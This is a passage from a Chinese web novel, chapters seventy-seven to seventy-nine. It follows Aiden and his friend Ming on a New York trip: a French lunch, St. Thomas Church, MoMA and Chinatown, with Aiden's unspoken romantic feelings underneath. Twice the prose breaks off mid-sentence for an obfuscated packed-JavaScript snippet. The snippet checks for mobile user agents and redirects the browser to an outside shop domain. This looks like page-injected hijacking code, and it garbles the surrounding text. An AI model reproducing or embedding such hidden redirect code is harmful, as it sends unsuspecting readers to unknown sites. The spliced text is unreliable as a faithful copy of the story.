然而,他又觉得那天晚上说的那番话并不算数——除了他确实对黎疏眠不再抱有任何浪漫感情的部分确实是真的以外,其他的话都更像是恍惚的梦境即将沉入现实时滑落的呓语。事后再回想起来,艾登怀疑自己想要表达的意思根本不是让云决明安心追求黎疏眠,而仅仅只是为了剖白自己的心意:我对黎疏眠确实没有任何感情了。他想说的就是这么简单的一件事,只是事后云决明理解把他带偏,以至于他也跟着不确定起来,懵懵懂懂间觉得似乎也可以那么理解。 但他要怎么跟云决明说? Ming,疏眠的眼界很高,我觉得她不会喜欢你的,你还是趁早放弃吧。 哪门子的好朋友会说出这种话? 对不起,我还是很介意你跟疏眠在一起这件事,我希望你能看在我和你的友谊的份上,别再继续追求她了。 这听着倒是挺礼貌的,可万一Ming想要选择黎疏眠而不是自己呢?那不就等于他亲手把Ming给推开了吗? Ming,疏眠现在已经成了我和艾莉的好朋友,要是你跟她在一起了,我觉得事情会有点怪,也许你该考虑一下追求别的好女孩。 不行,这跟Ming喜欢的到底是不是他的前女友兼现任好友有关,这跟Ming喜欢的是一个女生,或者说,这跟Ming喜欢上了别人有关,不管把黎疏眠的名字换成张三或者李四,艾登觉得那都不会让自己好受一点。从昨天到现在,这个想法一直困扰着他,让他食不下咽,寝不能眠,而他又实在想不明白,为什么Ming喜欢上一个女生会让他这么难受。 “我说,”艾登清了清嗓子,声音盖过了暖气哗哗向外输送暖风的响声,“你看上了疏眠哪一点?” “啊?”Ming吃惊地回过头来,似乎没料到他沉默许久以后开口问的第一个问题会是这个。 “唔……我的意思是,你是怎么喜欢上疏眠的?” 说啊!艾登心里那只被关进黑箱里的豹子咆哮着。说啊!说说看黎疏眠到底有哪里好! “呃……”云决明支支吾吾地了几声,表情十分为难,“就——就这么喜欢上了呗。” 福特野马拐上了高速公路,假期的车流总是很大,路上稍微有些堵,但高速公路上行车速度仍然很快。艾登的手指来来回回地敲打着方向盘,飙车向来都是他非常喜欢的减压方式,但哪怕现在车子的速度飙上一百二十英里,恐怕都没办法让他好受得多,更别提由于车流增多,他现在只能憋屈地以六十英里的速度开在中间车道上。 “总有哪个瞬间让你意识到自己对她的感情吧,”艾登追问着,“是什么时候的事。” “呃……”看云决明那样子,要不是确定他确实对黎疏眠有意思,艾登还会觉得他此刻的表情就像是在搜肠刮肚地找出一套可信的说辞出来,“我……我真的不太记得了,呃,就是——就是国庆节去孤儿院做慈善的那一次吧。” “为什么呢?你是怎么知道你喜欢她的呢?她干了什么让你意识到你是喜欢她的?”艾登不依不饶地想要挖掘出更多的细节,他心中的那头豹子就跟饿了半个月似的,红着双眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041254|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虎视眈眈地瞧着云决明,恨不得能直接钻进他的脑子,把所有与黎疏眠有关的记忆都挖出来看看。 “呃……这个……”云决明额头上的汗都出来了,看着十分绝望,“我真的不记得了,艾登。” 为什么? 艾登很想再追问这么一句,可他又觉得这会显得十分咄咄逼人。、 为什么你对黎疏眠这么心心念念,却连自己到底是什么时候喜欢上她,为了什么喜欢上她,都记不住呢? 哪怕你和我之间只是朋友,我都能清楚地记得你什么时候对我而言不再只是一个普通的朋友,不再只是一个从统计学课上请来的家教,不再只是那个我在派对上无意间亲吻的男孩—— 遥远的记忆突然活色生香地被唤起,艾登刹那间仿佛又回到了杰森家的客厅中,他伸手扶住了Ming的肩膀,对方诧异地回过头来看着他,昏暗的灯光下,映入他双眼的是一张冷淡柔和的脸,嘴唇很薄,却不会让人觉得刻薄,是一张嘴就能尽数吻入口中,肆意品尝的大小。 奇怪,当初他瞧见的Ming似乎并没有给他留下这个印象。 但他没有按下暂停,心思仍随着记忆推进缓步行走,那个吻现实中明明只持续了一秒,但此刻艾登却在自己脑海中瞧见他是如何温柔地将他拉进自己怀中,手穿过他瘦弱的胁下,停留在腰椎下方。 “Ming。”他轻声喊道。 不对,现实中他还根本不知道对方的名字,然而,他又确确实实瞧见了Ming因为这一声呼唤而抬起头来,他看着仍然很诧异,嘴唇微微分开,那一点点从中渗开的润泽就像樱桃皮肉上那一层反光般诱人。 他忽地就吻了下去。 不是简单的停留,触碰,蜻蜓点水般浅尝辄止,而是掠夺,入侵,拉枯摧朽般攻城掠地,双唇轻微的抵抗瞬间便被他熟练的技巧消弭于无踪,牙关的紧叩也轻而易举地被他一撬而开,就像带领着千军万马攻入城堡只为得到躲藏在塔楼里的苍白王子一般,艾登在最后的胜利果实前稍作停留,紧接着便在对方恍神刹那压倒了那结实有力的身躯,完全将他的滑舌纳入自己的掌控之下。 “艾登,你喊我干嘛?” 霎时,Ming的声音让艾登一身冷汗地从自己记忆中挣脱开来,猛地发现他跟前车的距离已经到了已经非常危险的地步,便赶忙降低速度。“没什么,”他不自然地摇了摇头,仿佛他的脑袋就是哈利波特里的冥想盆,只要晃一晃,不想瞧见的记忆就会自动沉进盆底,“没什么,我只是在自言自语。” 他的手机在这会突然铃声大作,把艾登吓了一大跳,他慌忙分了一只手去接,然而手上有汗,滑了半天才接听成功,屏幕上显示的来电名字是“黎疏眠”。 “Hello?”她的声音伴随着呼呼的风声从电话另一头传来,“你们上路了吗?” “嗯,”艾登应了一声,“快要开到林肯隧道了。” “噢,这样啊。听着,我要晚一点到,我的车子在高速公路上抛锚了,我现在在等AAA派救援车来,但可能要好一会,因为现在是圣诞假期,到处都有车子抛锚或者没油了,我之后可能还得找个地方租车——” “你的车子爆胎了吗?”Ming插嘴了,他的语气听上去很关切。一会他又该抱怨他们应该去把黎疏眠接上了,艾登酸溜溜地心想。 “没有,不是爆胎,我觉得是更严重的问题,可能跟引擎有关,不能马上就解决的那种。你们到了纽约以后,就先按照你们原定的计划去玩吧,别等我了。我要是之后能租到车子的话,我就去第五大道逛逛街,买点东西——我本来也打算去纽约买点奢侈品寄给家里的亲戚的,如果来得及的话,我们就晚餐的时候再碰面吧。” “好。”想到最起码可以跟云决明两个人单独逛逛大都会博物馆,或者是别的什么地方,倒是一下子就让艾登的心情好了起来。“那你有什么新消息再跟我们打电话。” “拜拜。” “拜拜!” 说完,艾登迫不及待地就将电话挂断了。 78. Chapter·Twenty-Five “所以,你想去哪儿玩?” 他们刚刚才把行李放下,艾登就迫不及待发问了。 “现在已经快中午了。”Ming看了一眼手机,他正把行李箱打开,一件一件地把里面的衣服拿出来挂在酒店的衣柜里,因为只出来住两天,他们两个人的东西都打包在同一个箱子里,“也许我们可以考虑在附近找个地方吃中午饭,四处逛逛。” 大约是知道黎疏眠一时半会来不了的缘故,Ming没有再一个劲地提她的名字,让艾登舒心了不少。挂掉了黎疏眠的电话以后,艾登主动提起了好几个话题,又时不时说一些打趣的话逗Ming发笑,总算让这趟旅程的气氛逐渐趋向于他想象中的愉快气氛了。等他们抵达图书馆酒店的时候,Ming看上去似乎已经完全忘了黎疏眠一会要来这件事,艾登可不希望他再想起来。 “听上去挺不错的。”艾登说道,“你有什么想吃的菜吗?” 他尽量假装不经意地问着,毕竟这趟出游表面上看起来是一场说走就走的旅行——前来纽约的路上,Ming也好奇过为什么一间位于纽约第五大道上的著名酒店在这么繁忙的时刻还能订到房间,艾登只是以“爷爷认识一个在这间酒店里工作的人,他想办法为我们拿到了一间原本预留给客人的房间。” 严格来说,他这番话也没有错,维尔兰德家的确与图书馆酒店的负责人有来往,只不过那个预留的客人就是他自己罢了。 “我们是临时起意要来纽约玩的,没有在任何餐厅预约过位置,”Ming沉吟着说道,“我怀疑我们这会可能只能去吃快餐,披萨,或者烤鸡,稍稍体面一点的餐馆恐怕座位早就被订完了——” 说话间,他已经挂好了所有的衣服,转身却被电视机下方的书柜吸引了——图书馆酒店的一大特色就是他们每间房间里都有书柜,而且可以根据入住客人的需求定制书柜中摆放的图书内容。艾登特别要求酒店的工作人员找来“罕见又古老的心理学书籍”,为此还缴纳了一笔非常庞大的押金费用。如今书架上满满地放了一排二十世纪初出版的心理学书籍,甚至有弗洛伊德《 梦的解析》翻译成英语的初代版本,不过,图书馆酒店没有那么宏大的财力,为了一位客人的需求就购进这些昂贵的旧书,许多书脊上都标记着私人图书馆的记号,显然是酒店出面为他们向收藏家借来的。如果不是他爷爷与图书馆酒店的负责人相熟的话,估计酒店也不会为了他的请求做到这份上。 “——或者,我们可以随便叫点中餐外卖,然后就待在房间里看一整天的书。”Ming迅速改口了,他从书柜中抽出一本由约翰·沃森所著的《行为主义》,这本书被包上了一层天鹅绒的封面,古老泛旧的纸张仍然被保存得非常好,Ming小心翼翼地翻开第一页,顿时就看得入迷了。 “咳咳,我们可以今晚回来再看。你难得来纽约一趟,总不能全都在室内度过。”艾登柔声说道,“如果你想的话,过完圣诞节我们还可以再回来这儿,到时候你想住上多久都可以。”前提是黎疏眠不跟着一起来。 Ming恋恋不舍地把书缓缓放回柜子里,动作轻柔谨慎,“你来了纽约挺多次的,知道这附近有什么好吃的。”他无所谓地耸了耸肩,似乎已经对食物不怎么提得起兴趣了,“要不就由你决定吧。” 最后,他们去了与现代艺术博物馆就隔着一个街区的法国餐馆La Bonne Soupe,冬日纽约街头的萧条丝毫无损这间已经开了四十多年餐馆的精致优雅,标志性的法国红遮阳棚在凛冽的寒风中发出猎猎声响,为整条灰色色调的第五十五街增添了一抹亮色,二楼顶上的红棚倒是因为风吹日晒而布满了条条脏污,与它的左邻右舍如出一辙,提醒着人们这儿到底不是明亮欢快的巴黎,而是逼仄狭长的纽约。 “我爷爷以前就喜欢带奶奶来这儿吃饭,”远远地,已经能瞧见La Bonne Soupe招牌时,艾登说,“当然啦,很多纽约的餐厅历史都比它长,也比它更有名,他们偏爱这儿是因为他们为了躲避一场突如其来的大雪,才走进了这家餐厅。当时是下午四点,餐馆还没开始营业,但我的奶奶一走进去肚子就饿得咕咕叫了。于是主厨从后厨的晚餐里分出了面包,汤,山羊奶酪,奶油菠菜,还有烤火腿,端给了他们吃,据我奶奶说,那是她有生以来吃到的最美味的一餐饭,她和爷爷就坐在窗前,注视着纽约街头的漫天飞雪,撕着面包蘸着洋葱汤,用火腿裹着山羊奶酪和奶油菠菜,吃得连手指都在舔——他们后来又去了法国好几趟,但没有哪一餐及得上那一次的浪漫与美味。” Ming抬头看了看灰白得如同年久失修房屋里霉迹斑斑墙壁的天空,冲他微笑了一下,“好像马上就要下雪了。” “那就更好了,”艾登说着,望着Ming被林立高楼剪出的侧脸,心不知怎么地突然加快了几秒,某种淡淡又醇郁的甜蜜从他心底涌出,就像轻轻划开巧克力熔岩蛋糕的那一刻,“也许这也会是你人生中最美味的一场法国菜。” “但看起来我们似乎得等位,”Ming说,指了指餐馆外坐在长椅上等待着的食客,还有好几个稀稀拉拉地分布在餐厅前的人行道上,漫不经心地玩着手机。“不知道要等多久。” “我去问问。”艾登说着,便快步向餐厅走去,十几秒钟后,他便已经倚靠在餐馆前桌旁,笑着称赞女侍应的双眼有多么好看。“我的意思是,你真的从来没有考虑过去当一个模特吗?”他冲她眨了眨眼,“你比杂志上那些只会搔首弄姿,表情僵硬的姑娘好看多了。美国纽约需要你这种真正的法国美人。” 最后那句话他是用蹩脚而且不准确的法语说的,高中的时候他曾经短暂地与一个法国来的交换生约会了几个月,为了讨好对方学了不少法语,现在看来是非常值得的。女侍应被他逗得咯咯直笑,脸都羞红了,“我不能直接就把你领进去,”她小声地说道,法语口音非常可爱,“别的客人会有意见的,你就直接往里走,假装你是来与朋友回合的。二楼阳台上还有几张桌子空着,冬天我们一般都不让顾客去那儿吃饭,因为食物一下子就会变冷。不过,你如果想现在就立刻就餐的话,那就是你唯一的选择。如果有人问起你,就说是玛利亚让你去那儿坐的。” “谢谢你,法国美人,你让我的一天都明亮了起来,”艾登给了她一个灿烂的笑容,转身招呼着Ming——他一直站在门外等着自己跟女侍应打交道,但这会脸色似乎却不太好。等他们在二楼阳台上落座了,服务员也给他们倒了水,递了菜单以后,他才突然没头没脑地冒出来了一句。 “你是不是挺喜欢法国女孩的?” “谁告诉你的?”艾登随口回了一句,他还在菜单上寻找着最接近爷爷和奶奶来这儿时吃的那餐饭的菜肴,以及琢磨着该定什么样的酒。 “艾莉说的,”Ming抱着双臂,脸色仍然有些不快,“她说你在高中的时候跟一个法国女孩交往过几个月。” “还好吧,也就两个多月,”艾登漫不经心地说道,只听进去了Ming话语里一半的意思,“我都已经快不记得对方叫什么了,丹妮拉还是贝拉什么的——你觉得我们都点一样的食物呢,还是点不一样的,然后交换着吃?” 似乎没想到话题换得这么快,Ming愣了愣,才接了一句,“不一样的吧。” 最后,Ming|点了一份甜葱山羊奶酪挞,一份含有火腿,瑞士奶酪,烤蘑菇辅佐以白汁的法式煎饼,以及一份传统法式乳蛋饼,再外加一小杯普罗旺斯桃红葡萄酒,而艾登基本完整复刻了他祖父母当年吃的那一餐,只多加了一杯罗纳河谷干红,它与山羊奶酪及烤火腿是绝配。 “你知道La Bonne Soupe的意思吗?”等不住说着“Merci,Merci”的服务员离开了以后,艾登才开口了,寒冷的阳台上只有他们两个人坐着,仿佛突然在纽约繁忙的街道中拥有了一个私密而安宁的空间,“这其实是1950年代,法国戏剧家费利西安·玛索的一出前卫戏剧的名称,它在巴黎大获成功,是那个时代最优秀的戏剧之一,完美地体现了那个年代的巴黎生活——而La Bonne Soupe,其实意思就是拥有健康,财富,以及幸福的美好生活。” 艾登轻声说着,几乎像在朗诵一首自己已经背得滚瓜烂熟的诗,脑子压根不必仔细思索下一句要说什么,目光始终停留在Ming的身上——他非常适合大城市,这个说法很奇怪,但却又是真的。他此刻坐在那儿的模样——披着黑色大衣,里面套着一件细直麻花条纹的灰色毛衣,米色的围巾松松地圈在脖子上,有一节滑落下来,在他做旧色处理的牛仔裤旁随风晃荡,狭长灰调的街道倒映在他平静的双眼里,嘴唇微微抿着——在大都市的背景下突然多了一种艾登从未见过的气质。仿佛他天生就属于这儿,不该居住在郊区的高档幽静公寓中,而是应该住在某个有着一百多年历史大楼顶层,天花板与整整一面墙完全由玻璃组成,岁月在腐蚀的玻璃表面雕刻出泛黄的花纹,夜晚星光与月色会成为天然的光源。Ming就该在那儿,写着一本惊世骇俗的小说或者是画着一副过分前卫的画,纽约是他往后一生的背景。 没来由地,艾登突然伸手握住了Ming随意搭在桌面上的手,他吓了一大跳,但并没有马上就把手抽回去。 “怎么了?”他紧张地说着,同时四处张望着,似乎担心有哪个道德卫士躲在角落里,这会就要气势汹汹地站出来说纽约绝对禁止两个男性好朋友握握手。 “没什么,”艾登慌张地松开了,就连他自己都不明白他为什么要那么做,好似一瞬间他窥见了Ming会永远离他而去的未来,而他禁不住伸手拉住了他一般,“我只是觉得——像这样的生活不会永远持续下去,我是说,我们当然可以当一辈子的好朋友,但是,我的意思是,我们总有一天会拥有自己的生活,结婚啦,成立家庭啦,不可能永远一起住在那个公寓里,不是吗?” 他分不清楚自己一时间想说什么,也不知道他到底希望Ming说是,还是不是。 在此之前,艾登还从来没有对哪顿饭这么紧张过,他跟Ming两个人单独去了韩国甜品店无数次,但没有哪一次的感受跟这一次一样。他甚至觉得自己就像是个第一次出来约会的男生,绞尽脑汁地想说一些剖白自己感情的话的同时又不想让自己显得太傻,却哪一样都没法做到。 Ming也莫名其妙地看着他。 “你是觉得……”他迟疑了一会,“我们两个平时的相处太亲密了吗?” “不!当然不是!”艾登否认的声音大到楼下等待入座的客人都忍不住抬起头来看他,他只好挨个挨个地以微笑表达歉意,“我只是说,我们现在拥有的这种生活——只有你和我,出去旅游,出去吃饭,出去做这样那样有趣的事情,不可能持续太久,总有一天会消失,但在那之前,我——” 他顿住了。 我只想多把握住几个像这样的时刻,他好想说。 别邀请黎疏眠,别邀请艾莉,就让这难得的短暂几时成为只属于我们的回忆。他真的好想这么说。 不要结婚,不要成为另一个人的丈夫,不要让你生命中有比我更重要,更能让你快乐的人——哪怕这个人是黎疏眠。他最想说的,是这句话。 可这一切听上去都太暧昧,他怎能因为一段友谊就剥夺Ming生命中的一切?然而,如果过去几个月的种种经历教会了他一件事的话,那就是Ming对他而言是不可或缺的存在——没有他,艾登就不可能与自己的妹妹重归与好,不可能与自己的前约会对象成为好朋友,甚至不可能如此平静,如此满足地面对自己如今平凡又寻常的生活,没有激动人心的比赛,没有社交媒体上动辄成百上千条的关注与赞美,没有耀眼辉煌的成绩,没有人在乎艾登·维尔兰德是谁—— 但只要Ming在乎,对艾登而言就够了。 就在他不知道该如何说完自己那句话时,服务员带着他们点的前菜来了。艾登松了一口气,“赶紧尝尝,免得马上就冷了,”他说道,假装自己刚才没说过的话压根就没存在过,“虽然现在纽约没下雪,但是应该不会影响食物的味道。” 他没再提起先前的话题,剩余的时间里,他都在与Ming分享着与纽约有关的趣闻,或者是他从爷爷奶奶那儿听来的有趣故事,他们全程都分享着彼此的食物,Ming会撕下面包来蘸艾登的洋葱汤,艾登也会时不时挖一勺甜葱山羊奶酪挞。他会把山羊奶酪与奶油菠菜裹在火腿里递给Ming,后者也会切下几块煎饼放在他的盘子里。等他们吃饱喝足以后,服务员却突然送来了两颗巧克力。 “这是本店的传统,”她笑着说,“我们都会给来这儿约会的爱侣送上巧克力。” 艾登以为Ming会开口否认——他不知怎地并不想开口。然而,M ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041255|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ing多半是社交恐惧症发作,以为他会开口拒绝,因此便一言不发。结果就是谁也没开口说话,默认了服务员的话,她随即便开开心心地端着脏盘子离开了。 “你要吃吗?”艾登盯着盘子里的巧克力,就像是盯着一条需要他生吞的鱿鱼,“我觉得浪费食物不太好。” “反正只是一块巧克力,”Ming嘟囔了一句,伸手拿起来就吃,“只要我们不认为它有特殊含义,它就不可能有特殊含义。” 艾登突然觉得嘴巴里的甜腻全都化为了苦涩。“嗯。”他只能简短地应了一声。 吃完饭,他们按照原路返回,在去曼哈顿唐人街逛一逛以前,Ming想简短地参观一下现代艺术博物馆。然而,艾登脑子里反复回想着适才Ming说过的话,琢磨着他话里“不认为有特殊含义”到底是什么意思,只顾着埋头往前大步流星地走着,等他回过神来的时候,他们已经站在圣托马斯大教堂门口了。 “糟糕,我走过头了,”拿出手机在地图上确认了一下博物馆的位置,艾登懊恼地说道,“不过没事,我们没走过多少,只要往回走一个街区就行了。” “没关系。”Ming这会已经掏出了手机,正拍着圣托马斯大教堂那令人惊叹的巨型圆形花窗,“我们也可以顺便参观一下这间教堂——反正我们也没有一个固定的计划要去哪,”他安抚着艾登,“走到哪,就参观到哪,我觉得挺好的。” 他们在外围拍了好些照片——其实,要真说起来的话,艾登反而对这种历史地标更感兴趣,尤其他的爷爷就在一个传统守旧的新教家庭中长大,这种宗教气氛多多少少遗传了一些给他。不过,直到他们站在教堂门前排着队,准备进去参观的时候,艾登才意识到Ming并不是真的对圣托马斯大教堂起了什么兴趣,只是为了满足他的喜好而已。 这个想法让他禁不住微笑了起来。 “在教堂中不要大声喧哗,禁止牵手,亲吻,拥抱等一切亲密行为,请保持肃穆敬重——”门口的一位女士机械地重复着进入教堂的注意事项,几乎头也没抬地就塞给他们两个一本宣传圣托马斯大教堂历史的小册子,艾登和Ming都小声说了一句谢谢,才让她瞥了他们一眼,“举办婚礼的话,可以在教堂内找神父预约,也可以在我们的网站上预约,”她多加了一句,“不过,如果你们不是这间教堂的成员,费用会比较高昂。” “不,我们不是——”Ming立刻出声反驳,然而她已经继续把册子递给下一位游客了,Ming只得讪讪地住嘴了。艾登低下头,胡乱翻着那本小册子,好遮掩自己藏也藏不住的笑意。 他说不清自己为什么会这么开心。 他们两个在教堂里转了好几圈,Ming喜欢到处拍照,而艾登则亦步亦趋地跟着一位带着英国旅游团的女导游,听着她是怎么介绍这间教堂的,不过,与其谈论这间教堂悠久的历史,建筑风格,以及从艺术解析的角度谈一谈教堂尽头那扇著名而又令人惊叹的高耸彩窗,大部分时候她都专注于讲述1895年在这儿举办的一场世纪婚礼,第九代马尔堡公爵是如何与美国富有的女继承人康斯薇露·范德比尔特在此缔结婚约,走到祭坛桌前的时候,她还非常戏剧性地压低了嗓音,告诉所有人这就是当年马尔堡公爵与威廉·范德比尔特签下那张几乎是把女儿及嫁妆当成货品一样买卖的协约之处。 艾登对这一类历史没什么太大的兴趣,他刚想转身去找Ming,却感到自己的胳膊被拍了拍。他回头一看,发现是一个个子娇小,长相可爱的华人女孩,看起来年龄最多不会超过十三岁。 “你能帮我拍张照片吗?”她把手中的单反相机递了过来,指了指她身后那扇高耸的花窗,“我想跟它拍一张合影,但我胳膊不够长,没法整个都拍进去。” “当然没问题。”艾登说,他张望了一眼,发现Ming就在他的不远处,给基督受难像拍着照片,便放心了。 “你是游客吧?”他还在调整相机参数,想要让镜头尽可能地契合大教堂内昏暗又神圣的气氛,那女孩便已经叽叽喳喳地说开了,“不过,虽然我是土生土长的纽约人,我也是第一次来圣托马斯教堂参观。我的身体不太好,经常要住院,所以只要我的健康稍微恢复一点,我的父母就会带着我在纽约各个地方游玩——我想他们这会应该还在为我的健康祈祷。其实这还挺好笑的,因为我的爸爸是律师,他应该完全不相信耶稣这回事,但是我听见詹妮弗医生告诉他们我可能活不了几年了……我猜,绝望会彻底改变一个人的信仰。” “我相信你一定可以活上许多年的,医生有时候只是不希望她的病人丢下她,所以会说一些很夸张的话。”调整好了相机,艾登认真地对那个女孩说道,“现在,走过去站在窗前,给我一个大大的笑容——说纽约!这就对了!你看,拍的是不是很好看?” 那个女孩快步走了过来,接过相机看了看,雀跃地点了点头,“谢谢您,先生。其实我也很希望我还能活上许多年,”她渴慕地说道,“我还想在这间教堂里结婚呢。” “相信我,你一定可以的。”艾登冲她一笑,伸出拳头与她碰了碰。 “伊莎贝拉,我们要离开了。”一位华人女性匆匆走来,牵起了她女儿的手。“妈你看,刚才那位先生给我拍了一张非常好看的照片!”那个被称作伊莎贝拉的女孩把手上的相机递了过去。“是吗?那你说了谢谢了吗?”“我当然说了……” “怎么了?”拍好照的Ming走到了他的身旁,“发生什么事了?” “没什么,”艾登微微一笑,“做了一点举手之劳而已。你想去现代艺术博物馆了吗?” “嗯,”Ming|点了点头,“我们今天来的不是时候,我听神父说一会这儿要做弥撒,所有游客都必须离开。而且今天预约听唱诗班合唱的座次也已经满人了。” “那我们就走吧。” 临到门前,艾登又忍不住回过头,打量着这间美轮美奂的教堂,哥特式的拱顶让室内景致显得十分空灵神圣,精致的彩窗将照射进的光线切割成均匀的光晕,一圈一圈地罩在分散的游客身上。艾登可以想见当这间教堂空无一人时的模样——恍然间能让人觉得上帝正在耳边轻语,使人摒弃一切世间罪恶,不自觉便跪在神前恳求饶恕,在仁慈与威严中匍匐。 倘若真的能在这儿结婚,他心想,应该会是一件非常不错的事情吧。 79. Chapter·Twenty-Six 艾登一大早就被Ming叫醒了。 他昨晚几乎一整晚都没睡好,这说来是很奇怪的,因为他们一整天都到处在曼哈顿逛来逛去,饶是艾登体力极好,最后回到酒店时也有些疲累。 从教堂出来以后,他们又在现代艺术博物馆消磨了三个小时,艾登自告奋勇充当Ming的解说,马不停蹄地从进馆讲到出馆,把他在油管和现代艺术解析书本上现学的知识统统都现卖了个遍,虽然嗓子都快冒烟了,但为此能收获Ming崇拜的眼神,艾登觉得再值得不过了。 离开了现代艺术博物馆,他们沿着第六大道一路往下走,漫无目的地逛着,偶尔进这个古董店看一看,又在某间旧书店里流连忘返,纽约什么样的店都有,每走几步都有新的惊喜,艾登和Ming还找到了一家专门销售45转黑胶唱片的店,老板全身上下都被数不清的纹身所覆盖,一见到他们走进来,就开始热情地销售自己的产品,滔滔不绝地介绍着唱片的历史,甚至还直接邀请Ming和艾登去他专门为听音乐而改造过的地下室欣赏上个世纪50年代的经典老歌,当时,他们两个人都对这个邀约犹豫了一秒,哪知下一秒老板就叫屈了起来,“我就知道!你们是不是觉得我满身纹身,一定是个连环杀手,想把你们骗进地下室里杀了?” 可能跟这个小插曲有原因,艾登走出这家店的时候,发现自己莫名其妙地定了两张罕见的古董唱片——尽管他连唱片机都没有。早就看不出委屈神色的老板笑嘻嘻地在他身后祝他有个愉快的一天,并说唱片会在圣诞节过后给他寄出来。 “纽约人真是太会hustle了。”一边把钱包塞回口袋里,艾登一边感慨道。Ming应该听懂了他话里的双重意思——hustle既有努力争取的意思,也有招摇撞骗的意思,老实说刚才那个老板两样都占了——禁不住笑了起来。 从第六大道,他们又拐到了包厘街上,这儿的路是从纽约建城不久后留下的石子路——虽然经过上百年的修修补补过后还有多少是当年留下来的,就不好说了。曼哈顿下城建筑的色彩要明快得多,也没有那么多高楼林立,天际线更加开阔,他们就这么随口闲聊着,谁也没注意他们在往哪儿走——反正最后迷路了打个的士就能回酒店,直到他们猛地发现身边写着中文招牌的店面越来越多,Ming拿出手机一查,才发现他们来到了且林广场附近——曼哈顿的唐人街就在这里,这里也是曼哈顿最早的华人聚集区。 没走两步,他们甚至还发现了一个惊喜——一家名ebuy的奶茶店,Ming见到这家店很兴奋,因为他以前还在中国的时候就光顾过这家奶茶店,没想到居然能在纽约遇到。他们买了两杯热气腾腾的珍珠奶茶——退出了橄榄球队以后,艾登终于能跟Ming一块享受这种高糖高热量的食物了。 “大华超市里也有奶茶店,好像叫Coco。”艾登说,看着Ming像捧着珍宝一般小心翼翼地握着他手里那杯奶茶,喝得很慢,“我们回去以后,要是你馋了,就可以去那儿买。” “不一样的,”Ming含着习惯含含糊糊地说道,他脸上是那种他吃到甜食时会露出的不经意的幸福笑意,“这是家乡的味道,不一样的。” 艾登闻言也笑了起来。 他当然不知道这儿有Ming小时候光顾过的奶茶店,然而,不动声色地将Ming带到这儿来却是他计划的一部分,不仅是因为曼哈顿好几间颇负盛名又历史悠久的中餐厅都集中在这儿,更因为这儿还保留着许多百年前华埠的生活百态,比如开在宰也街上的南华茶室,就是纽约历史最悠久的华人餐厅,从1920年开设至今。甚至还有游客在自己的博客里提到,如果仔细打量宰也街非常出名的那个“血腥角”的人行道边缘,还能瞧见当年安良堂和协胜堂两个堂口成员在那用斧子互砍留下的斑斑血迹,历经风吹雨打而不散。 艾登觉得Ming会觉得这一切很有趣。 他们最先去了且林广场,Ming不必看大理石上的铭文,老远就认出了广场上耸立的雕像是林则徐,顿时激动无比——“我没想到在这儿竟然会为他立像,”他重复了好几遍这句话,“以前我学校经常组织学生去参观林则徐纪念园……我没想到……我真的没想到……” 艾登早就查过林则徐的资料,这部分的历史在美国课堂上是不会教的,他奶奶以前倒是跟他讲了不少,然而艾登早就全都还给老祖宗了,只得从头在网上一点一点查询与他有关的历史,了解那个时期的中国。不过,还没等他开口,Ming就先说话了,他眼里有那种平时只有在分享心理学知识时会有的狂热。 “我想你应该不太了解那个时期中国的历史,也不了解林则徐有多么伟大。”他说道,平静的声音里蕴含着某种深切悠远的骄傲,是艾登从网络上那些冰冷冷地阐述事实的文字中所感受不到的。纽约的夕阳下,一束红光穿过林则徐雕像的头顶,淡淡地洒落在他们身上。此时正是下班高峰,无数打扮迥异的中国人匆匆从他们身边走过,看也没看两个并肩站在一块,抬头打量雕像的年轻人。纽约的怪人太多,他们只是缓缓呼啸而过的寒风中两片不起眼的叶子。“你对清朝了解多少?” “不太多。”艾登说,即便他确实知道很多,他也想听Ming向他叙说。 他们在广场上停留了一会,后来,不知道是谁先迈动了步子,他们便又继续往前走了。Ming的讲述很平静,他是从另外一个角度,一个艾登不曾体验也难以体验到的角度在诉说这件事——当艾登读着历史书上的记载时,他的感受与阅读英国人是如何赶走侵略的维京人,古罗马又是如何一次次在蛮族侵袭中分裂崩析的感受并无二致,而Ming却像一个家破人亡的游子在叙述自己可悲可泣的过去,他总是不自觉地用“我们”来代替那时候的中国人,仿佛即便是将近两百年后,仍然有瞧不见的某种羁绊紧紧牵连着两个时代的中国人。艾登很受震动。 故事快接近尾声的时候,Ming突然停住了脚步,艾登正听得津津有味,不由得有些愕然地回头看他。他们现在正走在勿街上,第一个从广东来到纽约的华人正是在这条街上定居的,正因为历史古老,这条街道很狭隘,两边还停满了车子,Ming突如其来的沉默被响亮的汽车喇叭声,行人的咒骂声,两边店铺的揽客声,还有隐隐从商厦里传来的音乐声填满了,艾登顺着他的视线望去,发现他正脸色古怪地抬头看着一间叫做海鲜东来的饭店。 “怎么了?”他不解地说道。 “我母亲当年就是在这儿打黑|工的,”Ming轻声说道,他们两个站在人行道上的行为已经惹来了不少白眼,艾登赶紧把他拉到一边,这条街上还保留着古老的洪门致公总堂原址,至今这一堂口仍然在纽约唐人街十分活跃,他们此刻就站在那红底金色的匾额下方,躲避着川流不息,摩肩接踵的人群,“我见过一张旧照片,就是在这儿拍的——我只知道那应该是纽约某个华人聚集区的一家餐馆,但我没想到是在这儿。” “你想上去看看吗?”艾登问道,“说不定有人还记得你的母亲。” 